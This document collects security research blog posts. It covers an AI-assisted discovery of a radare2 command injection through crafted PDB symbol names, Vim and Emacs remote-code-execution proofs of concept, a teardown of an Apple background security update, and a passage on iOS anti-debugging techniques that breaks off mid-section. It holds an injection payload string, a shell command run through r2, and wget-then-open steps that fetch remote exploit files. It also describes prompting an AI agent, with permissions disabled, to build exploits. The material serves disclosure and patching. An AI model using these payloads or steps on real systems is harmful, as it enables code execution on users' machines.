All times are in GMT+8 on 2026-04-06.

• 09:00 AM: First day at Calif

• 10:18 AM: Installed Claude Code

• 11:24 AM: Discovered vulnerability

• 11:48 AM: Generated RCE PoC

• 2:48 PM: Reported vulnerability

• 3:47 PM: Opened Fix PR

• 5:00 PM: Merged PR

The Target: radare2

radare2 (r2) is an open-source, CLI-based reverse engineering framework.

I decided to focus on reverse engineering tools for two reasons:

1. I actually use them. I even built an r2-based CTF challenge back in 2024.

2. Parsing and analyzing dozens of executable formats is hard. Historically, binary file parsing has been a rich source of bugs.

An unexpected bonus was the radare2 team’s very public disclosure policy: security bugs are reported directly on GitHub Issues, just like any other bug. Combined with their rapid triage and patch turnaround, this made for one of the shortest bug-to-patch cycles I’ve ever experienced.

Vulnerability Discovery: Prompt Commentary

Setup was simple: a fresh clone of radare2 from GitHub, and Claude Code running with --dangerously-skip-permissions. The model was Claude Opus 4.6 (1M context) with high effort.

Below, I’ll walk through the prompts I used, explain the reasoning behind each one, and describe how Claude responded.

Me: Users are reporting that they have experienced unplanned code execution when analyzing untrusted binaries with this project. Figure out how this has happened.

Previous MAD Bugs posts had success with an incident-response-style prompt, so I went with something similar here.

Claude came back with 5 bugs. They looked plausible, but all of them required non-standard configurations or explicit user approval. I followed up to narrow the scope:

Me: The users are using default configuration with no projects. They did not perform any suspicious actions either. Assess for memory corruption bugs or other more complex vectors

This time, Claude reported 7 “Confirmed Exploitable Vectors,” including 3 “Critical” heap and integer overflows. Naturally, I was skeptical, so I asked it to:

Me: Develop a poc for the unpatched vulnerabilities. Determine if an attacker could have bypassed the patches for the known bugs

The second sentence referenced some recently patched N-days it had found in the Git history, which had been fixed by applying the r_str_sanitize function to sanitize untrusted input.

Claude struggled to prove, let alone exploit, the memory corruption vulnerabilities. It did appear to be making progress on a “heap leak” issue, though, so I gave it a nudge:

Me: What if you built radare with asan to help with the exploit debugging

Me: Assess the exploitability of the vulnerabilities. The attacker must be able to achieve full code execution just by the user loading a binary for analysis

Unfortunately, ASAN revealed that the “heap leak” was just a memory leak, not any kind of information disclosure bug:

==44349==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:

Time to reset expectations and point Claude toward a more promising direction:

Me: Memory leak is not a vulnerability. Show a vulnerability with real impact, such as heap overflow. Also, dig deeper into r_str_sanitize and where it should be used but is missing. Explain the impact of those vulns

Claude tried hard to exploit various stack and heap buffer overflows, but failed to trigger a single ASAN crash. It had, however, developed a solid understanding of the command injection N-days, so I redirected:

Me: Focus on command injection. Find another vulnerability.

Watching Claude’s thoughts stream rapidly across my screen didn’t inspire much confidence.

It seemed like we were running out of leads. Then this appeared:

Let me now look for the ONE remaining angle: the RAD-mode output that gets executed via . (dot) commands. Let me look for “.i” patterns in automatic loading:

Soon, we went from “it’s over” to “we are so back”:

Confirmed: line 1458 is the only RAD-mode cb_printf with an unsanitized binary-derived string. The vulnerability is clear:
...
Impact: Full code execution when a user opens a PE binary that has a crafted PDB file in the PDB search path. Default configuration, no user interaction beyond r2 binary.exe.
Fix: Sanitize name before interpolation at line 1458, using r_name_filter_dup() or r_str_sanitize().

This looked very plausible. I asked Claude to:

Me: Generate a test .exe and .pdb file. Prove that the vulnerability is real and exploitable

To do this, Claude had to construct a valid PDB file containing a malicious symbol name. PDB is a relatively complex binary format, so this took some time.

At this point, I was fairly confident we were in the home stretch. I offered one last hint:

Me: Can you use any libraries to build the pdb? Maybe that will be easier

But Claude didn’t need it. Shortly after, we had the proof:

Arbitrary shell command execution confirmed. A crafted debug.pdb file alongside a PE binary causes !echo PWNED>/tmp/r2_poc_output to execute when the user runs idp in radare2. The output file /tmp/r2_poc_output contains PWNED.

One final prompt to wrap things up:

Me: Great job! Now, generate a report for this vulnerability. Also create a poc.py, which takes --cmd and generates the target.exe and .pdb file that executes the given command

Total context used was 352.4k/1M tokens.

Vulnerability Analysis

PDB files contain symbols: mappings between function names and their addresses. Knowing where functions live is incredibly helpful for malware analysis, so r2 has several commands that parse and display this information.

There’s the idpi command, which prints the symbols available:

[0x140001000]> idpi
0x140001000  0  .text  my_cool_function

And there’s idpi*, which prints the r2 commands needed to convert symbol information into flags — essentially labels for addresses in r2.

[0x140001000]> idpi*
f pdb.my_cool_function = 0x140001000 # 0 .text
“fN pdb.my_cool_function my_cool_function”

The f command creates a flag (an offset-name mapping) at an address, and fN sets its “real name” — the original, unsanitized display name stored separately from the flag’s identifier.

Finally, there’s idp, which is actually an alias for .idpi*. The dot prefix means “run this command, then execute the output”.

You can probably see where this is going, so let’s just jump right into the implementation of the idpi* command:

// pdb.c:1451 – filtered_name is sanitized via r_name_filter_dup()
filtered_name = r_name_filter_dup (r_str_trim_head_ro (name));
// pdb.c:1452 – safe: filtered_name in flag creation
pdb->cb_printf (”f pdb.%s = 0x%” PFMT64x “ # %d %.*s\n”, filtered_name, ...);
// pdb.c:1458 – VULNERABLE: raw `name` from PDB binary data, NOT sanitized
pdb->cb_printf (”\”fN pdb.%s %s\”\n”, filtered_name, name);

By crafting a PDB with a function name like x” ;!open -a Calculator #”, we can break out of the double-quoted command and inject arbitrary r2 commands. Since r2 supports executing system commands, RCE follows trivially.

[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
“fN pdb.x____open__a_Calculator_ x” ;!open -a Calculator #”

PoC

Code: poc.py

Patch Development: Prompt Commentary

In a fresh Claude Code session, I started off with:

Me: Read the poc and report. Determine when the bug was introduced and produce a patch commit, along with tests that prevent a regression of this bug

The first patch Claude generated fixed the vulnerability, but it broke functionality as well:

-	pdb->cb_printf (”\”fN pdb.%s %s\”\n”, filtered_name, name);
+	char *safe_name = r_name_filter_dup (name);
+	pdb->cb_printf (”\”fN pdb.%s %s\”\n”, filtered_name, safe_name);
+	free (safe_name);

With that patch applied, the output of idpi* would be:

[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
“fN pdb.x____open__a_Calculator_ x____open__a_Calculator_”

However, this also strips special characters from legitimate function names, such as std::ostream::operator<<(std::ostream& (*)(std::ostream&)):

[0x140001440]> idpi*
f pdb.std::ostream::operator___std::ostream____std::ostream__ = 0x1400014c0 # 0 .text
“fN pdb.std::ostream::operator___std::ostream____std::ostream__ std::ostream::operator___std::ostream____std::ostream__”

Thus, I got Claude to reconsider:

Me: What is the intent of the fN command and does the fix affect its intend behavior?

Me: This is a critical problem. if we sanitize the real name, then this is useless. How can we properly address it?

Claude came back with a clean solution: base64-encode the raw name before interpolation.

Here's what I found. There are two viable approaches:

Option 1: Add base64: support to fN (matches existing pattern)

The flag system already uses base64 in several places:
- fC (flag comment) accepts base64: prefix and decodes it at
cmd_flag.inc.c:2085
- fu serializes realname as base64 at line 1536, and decodes it back at line
1517

But fN itself (line 2163) does not support the base64: prefix — it takes the
raw string directly via strchr(name, ' ') and passes it straight to
r_flag_item_set_realname.

The fix would be two-sided:

1. Emit side (print_gvars): base64-encode the raw name
2. Receive side (fN handler): detect and decode base64: prefix

This is the cleanest approach because it completely avoids the parsing problem
— base64 output contains only [A-Za-z0-9+/=], which has zero overlap with r2
metacharacters.

Satisfied with the approach, I opened a PR with Claude’s changes and waited for the maintainers to respond.

Resolution

About an hour later, a maintainer pointed out that the vulnerability could be fixed more simply — by prefixing the fN command with a single quote (’), which disables special character processing in r2.

# Safe - no calc popped
‘fN pdb.x____open__a_Calculator_ x;!open -a Calculator #

Nonetheless, they recognized it as a real and critical vulnerability, and agreed that the base64 prefix was a worthwhile addition.

The PR was merged, and string sanitization was further enhanced in a follow-up commit — likely part of a broader effort to address the spate of recent command injection vulnerabilities.

Conclusion

We are now in an era where AI can rapidly discover and exploit bugs in large, complex open-source projects. Constructing a valid PDB file would have taken me at least a few hours manually. Claude did it in under 30 minutes.

That said, finding bugs is the easy part. Claude just needs to identify a possible injection site, trace how to reach it, and develop a PoC it can verify and iterate on.

Patching is harder. It requires a much deeper understanding of the project, not just where the vulnerability occurs, but why the surrounding code is designed the way it is. In this case, Claude’s first patch was technically correct but semantically wrong: it fixed the injection without understanding what fN was actually for. It took explicit pushback to get to a solution that was both safe and useful.

That dynamic is worth keeping in mind. AI-assisted vulnerability research compresses the timeline dramatically, but the human still has to understand the system well enough to know when a fix is incomplete. The bottleneck has shifted, from finding bugs to understanding them well enough to fix them properly.

—junrong

PoC:

vim -version
# VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13)
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
vim vim.md
cat /tmp/calif-vim-rce-poc

Vim maintainers fixed the issue immediately. Everybody is encouraged to upgrade to Vim v9.2.0272.

Full advisory can be found here. The original prompt was simple:

Somebody told me there is an RCE 0-day when you open a file. Find it.

This was already absurd. But the story didn’t end there:

PoC:

wget https://github.com/califio/publications/raw/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/emacs-poc.tgz
tar -xzpvf emacs-poc.tgz
emacs emacs-poc/a.txt
cat /tmp/pwned

We immediately reported the bug to GNU Emacs maintainers. The maintainers declined to address the issue, attributing it to git.

Full advisory can be found here. The prompt this time:

I’ve heard a rumor that there are RCE 0-days when you open a txt file without any confirmation prompts.

---

So how do you make sense of this?

How do we professional bug hunters make sense of this? This feels like the early 2000s. Back then a kid could hack anything, with SQL Injection. Now with Claude.

And friends, to celebrate this historic moment, we’re launching MAD Bugs: Month of AI-Discovered Bugs. From now through the end of April, we’ll be publishing more bugs and exploits uncovered by AI. Watch this space, more fun stuff coming!

With iOS 26.1, iPadOS 26.1, and macOS 26.1, Apple replaced RSR with Background Security Improvements (BSI). The big change: BSI installs silently.

On March 17, 2026, Apple shipped four BSI updates across iOS, iPadOS, and macOS.

| Platform | Version    | Build      |
+----------+------------+------------+
| iOS      | 26.3.1 (a) | 23D771330a |
| iPadOS   | 26.3.1 (a) | 23D771330a |
| macOS    | 26.3.2 (a) | 25D771400a |
| macOS    | 26.3.1 (a) | 25D771280a |
+----------+------------+------------+

I grabbed the iOS update, tore it apart with ipsw, and diffed it against the base OS to see what actually changed.

This post walks through how BSI updates work under the hood. More importantly, it shows what Apple actually shipped: one publicly disclosed WebKit CVE, and at least two additional security-relevant changes that didn’t make it into the advisory.

How BSI differs from RSR

Both target the same thing: security patches for Safari, WebKit, and system libraries without a full OS update. Under the hood, both work by patching cryptexes. If you haven’t run into these before: Apple moved content eligible for rapid patching (Safari, WebKit, system libs) into sealed disk images on the preboot volume, split into system and app subtypes. When an update arrives, the device applies a binary diff to the relevant cryptex image, then asks Apple’s signing service for a new Cryptex1Image4 manifest. The main application processor (AP) boot ticket stays untouched. On restart, the kernel bootstraps the patched content with new measurements and trust caches. That’s why these updates work with minimal battery and no re-sealing; they’re patching a sidecar image, not the root filesystem. Apple’s security docs have the full picture.

The following table summarizes the changes between RSR and BSI:

The versioning scheme carries over: a BSI applied on top of iOS 26.3 becomes iOS 26.3.1 (a). These are cumulative, so the next full update (say, iOS 26.4) absorbs all prior BSI fixes.

I will now show you how to analyze the BSI with ipsw.

Downloading a BSI with ipsw

Same as RSR. Use the --rsr flag with the prerequisite --build:

❯ ipsw dl ota --platform ios \
              --rsr \
              --device iPhone17,1 \
              --build 23D8133 \
              --output /tmp/BSI
   • Getting iOS 26.3.1 OTA    build=23D771330a device=iPhone17,1
     encrypted=true key=ER+89JD/fR9xK0MwXhPHfkmPRMnAxBNkOF5v8nfGzk0=
     model=D93AP type=iOS2631BetaBSI
        26.50 MiB / 26.50 MiB [==============================| ✅ ] 30.58 MiB/s

26.5 MiB total. A full OTA is 3-17 GB. That size difference is the whole point: small, targeted patches to the cryptex volumes.

The --build flag is the prerequisite build (the base OS the BSI patches on top of), not the BSI build itself. Find the latest build with:

❯ ipsw download ota --platform ios --device iPhone17,1 --show-latest-build

Inspecting the BSI OTA

❯ ipsw ota info <BSI>.aea

[OTA Info]
==========
Version        = 26.3.1 (a)
BuildVersion   = 23D771330a
OS Type        = SplatPreRelease
SystemOS       = 043-61970-021.dmg
AppOS          = 043-62774-021.dmg
RestoreVersion = 23.4.133.77.1,0
PrereqBuild    = 23D8133
IsRSR          = ✅

Devices
-------
 > iPhone17,1_23D771330a

PrereqBuild = 23D8133 tells you this is a delta on top of iOS 26.3 build 23D8133. The IsRSR flag is still there because internally Apple still calls this the “Splat” system (SplatOnly in asset metadata). Two separate cryptex DMGs get patched: SystemOS for frameworks and AppOS for apps.

What’s in the package

❯ ipsw ota ls <BSI>.aea -V -b

AssetData/
├── Info.plist                                          # 1.7 kB
├── boot/
│   ├── BuildManifest.plist                             # 19 kB
│   ├── Firmware/
│   │   ├── 043-61970-021.dmg.root_hash                # 229 B
│   │   ├── 043-61970-021.dmg.trustcache               # 2.7 kB
│   │   ├── 043-62774-021.dmg.root_hash                # 229 B
│   │   └── 043-62774-021.dmg.trustcache               # 407 B
│   ├── Restore.plist
│   ├── RestoreVersion.plist
│   └── SystemVersion.plist
├── payload.bom                                         # 38 kB
├── payload.bom.signature
├── payloadv2.bom                                       # 38 kB
├── payloadv2.bom.signature
└── payloadv2/
    ├── image_patches/
    │   ├── cryptex-app                                 # 39 kB
    │   ├── cryptex-app-rev                             # 39 kB
    │   ├── cryptex-system-arm64e                       # 15 MB
    │   └── cryptex-system-arm64e-rev                   # 15 MB
    ├── data_payload                                    # 12 B
    ├── firmlinks_payload                               # 0 B
    ├── fixup.manifest
    ├── links.txt                                       # 0 B
    ├── payload.000                                     # 78 B
    ├── payload.000.ecc                                 # 123 B
    ├── payload_chunks.txt
    ├── prepare_payload                                 # 12 B
    └── removed.txt                                     # 0 B

Almost everything interesting is in payloadv2/image_patches/. cryptex-system-arm64e at 15 MB is the binary patch for the system cryptex (WebKit, Safari, system libraries). cryptex-app at 39 KB patches the app cryptex. The -rev variants are reverse patches for rolling back a BSI to the base OS state.

Under boot/Firmware/, the .root_hash and .trustcache files bind the patched cryptexes into the device’s Secure Boot chain via a separate Cryptex1Image4 manifest.

Patching the cryptex volumes

To apply the patches and get mountable DMGs, use ipsw ota patch rsr. You need the base OTA’s cryptex volumes first, so download the prerequisite OTA (the 7.81 GiB one):

❯ ipsw dl ota --platform ios --device iPhone17,1 --build 23D8133 --output /tmp/OTAs/
   • Getting iOS 26.3.1 OTA    build=23D8133 device=iPhone17,1
     encrypted=true key=P1OahXDSqR+X5Lc63VFT9JDZFtR6cHtIc+ryyJ9kuLs=
     model=D93AP type=iOS2631Long
      • URL resolved to: 17.253.27.196 (Apple Inc - Chicago, IL. United States)
        7.81 GiB / 7.81 GiB [==============================| ✅ ] 59.81 MiB/s

Extract the base cryptex volumes from it:

❯ ipsw ota patch rsr <base_ota>.aea --output /tmp/PATCHES/
   • Patching cryptex-app to /tmp/PATCHES/23D8133__iPhone17,1/AppOS/094-25810-058.dmg
   • Patching cryptex-system-arm64e to /tmp/PATCHES/23D8133__iPhone17,1/SystemOS/094-26339-058.dmg

Now apply the BSI patch on top:

❯ ipsw ota patch rsr --input /tmp/PATCHES/23D8133__iPhone17,1/ \
                      --output /tmp/PATCHES/ \
                      <BSI>.aea
   • Patching cryptex-app to /tmp/PATCHES/23D771330a__iPhone17,1/AppOS/043-62774-021.dmg
   • Patching cryptex-system-arm64e to /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg

You now have the patched cryptex DMGs. Mount and poke around:

❯ open /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg
❯ find /Volumes/*Cryptex*/ -name “dyld_shared_cache*”

NOTE: ipsw ota patch rsr requires macOS 13+ because it calls RawImagePatch in libParallelCompression.dylib to apply the binary image diffs. This is a private API I reversed with no public header.

Diffing the BSI

Now the fun part. I’ve updated ipsw diff to work directly with patched OTA directories:

❯ ipsw diff /tmp/PATCHES/23D8133__iPhone17,1 \
            /tmp/PATCHES/23D771330a__iPhone17,1 \
            --files --output /tmp/DIFF --markdown
   • Mounting patched OTA DMGs
   • Mounting ‘Old’ patched OTA DMGs
   • Mounting AppOS DMG
      • Mounting /tmp/PATCHES/23D8133__iPhone17,1/AppOS/094-25810-058.dmg
   • Mounting SystemOS DMG
      • Mounting /tmp/PATCHES/23D8133__iPhone17,1/SystemOS/094-26339-058.dmg
   • Mounting ‘New’ patched OTA DMGs
   • Mounting AppOS DMG
      • Mounting /tmp/PATCHES/23D771330a__iPhone17,1/AppOS/043-62774-021.dmg
   • Mounting SystemOS DMG
      • Mounting /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg
   • Diffing DYLD_SHARED_CACHES
   • Diffing MachOs
   • Diffing Files
   • Creating diff file Markdown README

It mounts both sets of cryptex DMGs, diffs the dyld_shared_cache, individual MachOs, and the file trees, then writes a Markdown report. The full diff output is on GitHub.

NOTE: ipsw diff operates at the symbol level, not the instruction level. It reports added/removed symbols, function count changes, and section size deltas -- but it will miss changes inside a function whose signature didn’t change. For example, the CVE-2026-20643 fix added 46 instructions to innerDispatchNavigateEvent without changing its symbol name, so the diff report doesn’t flag it at all. To catch those, you need to decompile the actual functions (IDA Pro, Ghidra, or ipsw dsc disass --dec, for now 😏) and compare the pseudocode. The diff is a great starting point for triage, but it’s not the full picture.

So what did Apple actually change?

WebKit version bump
+----------------------+--------------+
|                      | Version      |
+----------------------+--------------+
| Base (23D8133)       | 623.2.7.10.4 |
| BSI (23D771330a)     | 623.2.7.110.1|
+----------------------+--------------+

That’s the Safari/WebKit version going from 7623.2.7.10.4 to 7623.2.7.110.1.

NOTE: Normally ipsw dsc webkit --git resolves a DSC’s WebKit version to the exact public git tag on github.com/WebKit/WebKit, giving you a clean git diff between two tags. Here, neither version had an exact match and both fell back to the closest tag WebKit-7623.1.14.14.11 from November 2025. My guess is Apple ships BSI builds from an internal branch that never gets tagged publicly. I had to find the fix commit manually (more on that below).

Updated binaries in AppOS (6)

All Safari-related:

• AuthenticationServicesAgent: handles web authentication flows

• com.apple.Safari.History

• passwordbreachd: checks passwords against breach databases

• safarifetcherd: prefetching/background loading

• webbookmarksd: bookmark sync daemon

• webinspectord: Web Inspector remote debugging

Every one got the same version bump 7623.2.7.10.4 -> 7623.2.7.110.1). The changes are mostly in __TEXT.__info_plist sizes (a few bytes larger) and new UUIDs. The actual code sections didn’t change in these binaries, so the AppOS patch is just version metadata and plist updates.

Updated dylibs in the dyld_shared_cache (6)

The dyld_shared_cache is where the actual code changes live. Six dylibs changed:

1. WebCore

2. libANGLE-shared.dylib

3. WebGPU

4. ProductKit

5. ProductKitCore

6. SettingsFoundation.

I opened both DSC versions in IDA Pro (using open_dsc to load individual modules) and decompiled the changed functions.

CVE-2026-20643: Navigation API Same-Origin bypass

Apple’s security advisory describes one fix:

WebKit -- A cross-origin issue in the Navigation API was addressed with improved input validation.

CVE-2026-20643 -- Thomas Espach

The Navigation API window.navigation) lets JavaScript intercept and control navigations within a page. The property that matters here is NavigateEvent.canIntercept because it tells a script whether it’s allowed to intercept a given navigation. The spec says it should be false when the document URL and target URL differ in scheme, username, password, host, or port.

The source fix

Since WebKit is open source, I tracked down the public trail:

• PR: WebKit/WebKit#58094 -- “NavigationEvent#canIntercept is true when navigating to a different port”

• Bugzilla: Bug 307197 -- reported by Dom Christie on 2026-02-06, fixed by Ahmad Saleem

• Commit: 850ce3163e55

• Shipped in: Safari Technology Preview 238

Apple’s CVE advisory references a different bug number (Bugzilla #306050, which is private). Bug 307197 is either the public duplicate or the upstream report that the security-track bug was filed against.

The fix is in Source/WebCore/page/Navigation.cpp, function documentCanHaveURLRewritten():

 static bool documentCanHaveURLRewritten(const Document& document, const URL& targetURL)
 {
     // ...existing isSameSite and isSameOrigin checks...
     if (!isSameSite && !isSameOrigin)
         return false;
+    // https://html.spec.whatwg.org/multipage/nav-history-apis.html#can-have-its-url-rewritten
+    if (documentURL.protocol() != targetURL.protocol()
+        || documentURL.user() != targetURL.user()
+        || documentURL.password() != targetURL.password()
+        || documentURL.host() != targetURL.host()
+        || documentURL.port() != targetURL.port())
+        return false;
+
     if (targetURL.protocolIsInHTTPFamily())
         return true;

You might wonder: doesn’t isSameOriginAs already check the port? It does. Looking at the source, isSameOriginAs() calls isSameSchemeHostPort(), which compares scheme, host, and port.

The problem is the boolean logic upstream of this function. The caller in documentCanHaveURLRewritten() combined both checks with AND: if (!isSameSite && !isSameOrigin) return false. Since localhost:3000 and localhost:3001 share the same registrable domain and scheme, isSameSiteAs returns true. That short-circuits the AND so the isSameOriginAs result never matters. The function falls straight through to return true for any HTTP URL.

Confirming in the binary

I confirmed this by decompiling WebCore::Navigation::innerDispatchNavigateEvent (at 0x1a1307304) from both DSC versions in IDA Pro.

The base version calls two origin checks joined by AND:

// BASE innerDispatchNavigateEvent (23D8133 DSC)
isSameSiteAs = SecurityOrigin::isSameSiteAs(docOrigin, navOrigin);
isSameOriginAs = SecurityOrigin::isSameOriginAs(docOrigin, navOrigin);
if ((isSameSiteAs & 1) == 0 && !isSameOriginAs)
    isCrossOrigin = true;  // only blocked if BOTH fail

The patched version drops isSameSiteAs and adds explicit URL component comparison instead:

// PATCHED innerDispatchNavigateEvent (23D771330a DSC)
if (SecurityOrigin::isSameOriginAs(docOrigin, navOrigin)) {
    docHost = URL::host(documentURL);
    navHost = URL::host(targetURL);
    if (String::equal(docHost, navHost)) {
        docPort = URL::port(documentURL);
        navPort = URL::port(targetURL);
        isCrossOrigin = !String::equal(docPort, navPort);
    } else {
        isCrossOrigin = true;
    }
} else {
    isCrossOrigin = true;
}

The function grew by 46 ARM64 instructions (1243 -> 1289). The isSameSiteAs call was deleted entirely.

What does this mean in practice? A page on http://localhost:3000 could intercept navigations targeting http://localhost:8080. These are different ports and origins but WebKit lets it through. In a shared-hosting or multi-tenant setup, that’s cross-origin state manipulation.

What Apple didn’t disclose

The CVE covers the Navigation API fix. But this BSI also shipped two other changes that aren’t in the advisory 🙂.

WebGL integer overflow in ANGLE

libANGLE-shared.dylib (Apple’s Metal-backed ANGLE for OpenGL ES) changed the ProvokingVertexHelper::generateIndexBuffer and preconditionIndexBuffer methods. The parameter types narrowed from size_t (64-bit) to int/unsigned int (32-bit), and both functions grew in size generateIndexBuffer went from 680 to 772 bytes per IDA; preconditionIndexBuffer grew similarly per the symbol diff).

I decompiled generateIndexBuffer from both DSC versions in IDA Pro. Here’s the relevant section, side by side.

Base (23D8133, size_t parameters, no overflow check):

LODWORD(v18) = a4 & ~(a4 >> 31);
v36 = v18;
v20 = 2 * v18;   // index count — no overflow check
// ... v20 flows directly into buffer allocation size

Patched 23D771330a, int parameters, overflow guard added):

LODWORD(v34) = a4;
v20 = 2LL * a4;    // widen to 64-bit before multiply
v35 = v20;
// ... then before using the result:
if (HIDWORD(v20))  // upper 32 bits non-zero → overflow
{
    handleError(a2, GL_INVALID_OPERATION,
        “Integer overflow.”,
        “.../ProvokingVertexHelper.mm”,
        “generateIndexBuffer”, 217);
    return 1;
}

In the base version, 2 * vertexCount uses size_t arithmetic so a large enough input wraps silently and the buffer allocation comes out too small. After the fix, the multiply widens to 64-bit first 2LL * a4), then checks the upper 32 bits. Non-zero means overflow, and the function bails with GL_INVALID_OPERATION instead of allocating a short buffer.

In the Metal rendering path, an undersized index buffer means an out-of-bounds GPU read during WebGL draw calls. The new assertion strings (generateIndexBuffer”, preconditionIndexBuffer”, and the ANGLE source path) confirm this was an intentional hardening pass, not just a type cleanup.

ServiceWorker registration lifetime hardening

WebCore dropped 6 functions and 14 symbols, all in the ServiceWorker server implementation:

• HashMap<ProcessQualified<UUID>, WeakRef<SWServerRegistration>> replaced with HashMap<..., Ref<SWServerRegistration>> (weak -> strong references)

• SWServerRegistration changed from RefCountedAndCanMakeWeakPtr to plain RefCounted (weak pointer support removed)

• SWServerJobQueue::cancelJobsFromServiceWorker removed entirely

• Several hash map lookup/removal helpers for ProcessQualified<UUID> maps were removed

With the WeakRef-Ref change, the server’s registration map holds a strong reference to each SWServerRegistration, so the registration can’t be deallocated while something still points at it. The cancelJobsFromServiceWorker removal suggests the job cancellation logic moved elsewhere. This is the kind of change you make when weak references can dangle in a concurrent context.

Unlike the Navigation API fix, this change hasn’t landed on public WebKit main; as of this writing, SWServerRegistration still inherits from RefCountedAndCanMakeWeakPtr, m_scopeToRegistrationMap still uses WeakRef, and cancelJobsFromServiceWorker still exists. This is an Apple-internal patch, visible only in the BSI binary. The evidence here comes entirely from symbol-level diffing and decompilation, not source.

Non-security changes

ProductKit and ProductKitCore both went down in version 129.400.11.2.4 -> 129.400.11.2.2), removed device model strings for unannounced hardware (Mac17,6-Mac17,9; iPad16,8-iPad16,11), and got slightly smaller. These were likely pulled into the BSI as dependencies of the WebKit rebuild.

SettingsFoundation removed the _SFDeviceSupportsRFExposure2026OrLater function and associated RF_INTRO_IPHONE_2026” string. RF exposure regulatory check removed or consolidated elsewhere.

WebGPU gained one new symbol Vector<pair<AST::Function*, String>>::expandCapacity). This is a template instantiation pulled in by the WebKit rebuild, not a functional change.

File changes

Only .fseventsd journal entries rotated. No actual filesystem content was added or removed.

Conclusion

Apple’s first BSI shipped one fix for CVE-2026-20643 and two they didn’t mention. The CVE fix was a six-line fix to a URL component comparison that the spec already required. It is the kind of bug where you read the spec, read the code, and wonder how it shipped without the check. The ANGLE integer overflow and ServiceWorker lifetime hardening are arguably more interesting: one is a WebGL-reachable memory safety issue, the other plugs a dangling-reference hole in a concurrent subsystem. Neither made the advisory.

The BSI delivery itself worked as advertised. 26.5 MiB, two cryptex DMGs, no user interaction. If you want to do this kind of teardown yourself: ipsw ota patch rsr gets you mountable DMGs, ipsw diff gives you the symbol-level triage, and IDA on the extracted DSC modules gets you pseudocode to confirm what actually changed. The full diff is on GitHub.

—blacktop

1. The App That Exploited iOS Side Channels

2. The App That Checked Itself

3. The App That Killed Itself on Attach

4. The App That Ruined Its Own Crash Logs

5. The App That Let iOS Do the Killing

6. The App That Kept Checking

7. Conclusion

This journey started from a mix of curiosity and convenience. Some of us wanted to push a game a bit further and show off a better score. At the same time, as part of red team work, we were interested in how banking apps handled money behind the scenes. The goal was simple: attach a debugger, observe behavior, and figure out how things worked.

That did not always go as expected.

Some apps would exit immediately. Others ran for a while, then failed later without any clear reason. In a few cases, there was no usable crash at all. Each app behaved differently, but after going through enough of them, the same patterns kept showing up.

Developers of these apps are not relying on a single check anymore. They combine multiple techniques to make inspection harder and modification unreliable, even on non-jailbroken devices. The techniques themselves are not new. What stands out is how they are layered together and how early they are applied. Over time, it becomes less about a single protection and more about how they interact.

This article walks through a set of these techniques and how they show up in practice on iOS apps.

1. The App That Exploited iOS Side Channels

One app we looked at would fail before any meaningful logic executed. With no debugger attached and no modifications in place, the app still exits immediately on launch.

It turned out the app was performing early environment checks by relying on side-channel signals rather than explicit APIs. It called into a private system API and used the return behavior to infer whether certain apps were installed on the device. If anything suspicious showed up, it stopped there.

A notable case involved a banking application that used the private API SBSLaunchApplicationWithIdentifierAndURLAndLaunchOptions. It did not use the API for its intended purpose. Instead, it inspected the return logs as a side channel. By doing this, it could detect the presence of applications commonly associated with modified environments, based on bundle identifiers such as com.opa334.TrollStore, org.coolstar.SileoStore, com.tigisoftware.Filza, and others. If any of these were detected, the app assumed the device was not trustworthy and refused to proceed.

This specific behavior was later addressed by Apple in iOS 18.5 (CVE-2025-31207), but the pattern is still relevant.

Technique: Pre-execution environment checks

• Query system APIs, including undocumented ones, for indirect signals

• Use side-channel behavior such as API return logs to detect installed applications

• Detect presence of known tools via bundle identifiers

2. The App That Checked Itself

Some apps go further and verify their own state before doing anything useful.

A common approach, especially in games, is to query code signing state using csops(). In particular, checking CS_OPS_ENTITLEMENTS_BLOB allows the app to retrieve its own entitlements. Unexpected entitlements can indicate a modified or non-standard environment. This gives the app another signal to decide whether it is running on a jailbroken device.

Some apps also verify their own integrity before continuing. This includes computing hashes such as CRC32 or MD5 across application data and checking the signing certificate of the installed IPA. Structures like LC_ENCRYPTION_INFO_64 are used to detect whether the app has been re-signed or altered.

Technique: Pre-execution environment checks

• Use csops() with CS_OPS_ENTITLEMENTS_BLOB to inspect entitlements and infer jailbreak state

• Perform file integrity checks using CRC32 and MD5

• Validate signing certificates and detect re-signing via LC_ENCRYPTION_INFO64

3. The App That Killed Itself on Attach

Another pattern shows up once you try to attach a debugger: the app exits immediately.

In most cases, this comes down to ptrace() with PT_DENY_ATTACH. When that flag is set, any attempt to attach a debugger causes the process to terminate, usually through abort() or exit().

The usual way around this is to deal with the termination path rather than the detection. If the app cannot terminate itself, it continues running. Patching the execution flow to bypass calls to abort() and exit() is often enough to keep the process alive and allow runtime inspection.

When PT_DENY_ATTACH is used directly, there are also existing workarounds that modify or disable its behavior so a debugger can attach. These approaches have been documented in detail, including a write-up by Bryce Bostwick that walks through the process of dealing with ptrace() on iOS.

Technique: Runtime anti-debugging with ptrace()

• Call ptrace(PT_DENY_ATTACH) to block debugger attachment

• Trigger process termination when debugging is detected

4. The App That Ruined Its Own Crash Logs

Some apps do not just exit. They also make sure you cannot learn anything from the crash.

We ran into one that behaved normally until you tried to debug it. Then the crash logs stopped being useful. Registers were filled with the same, impossible value, and the backtrace did not point to anything meaningful.

Looking closer, the app was writing garbage into the CPU registers before crashing. In one case, every register was set to a constant like 0x123456789a00. The crash still happened, but the state was no longer trustworthy, so there was nothing useful to extract from it.

This makes it difficult to trace where the detection actually occurred. Even if you hit the right code path, the information you get back is already corrupted.

It does not prevent debugging entirely, but it slows things down. You have to find the check before the crash instead of relying on the crash itself.

Technique: Register corruption for analysis resistance

• Overwrite register state before crashing

• Produce garbage register values in crash logs

• Obscure the origin of detection logic and break backtraces

5. The App That Let iOS Do the Killing

One game app produced probably the weirdest “crash” we have dealt with. The app would run, and as soon as we tried to debug it, it would get terminated without leaving any crash logs.

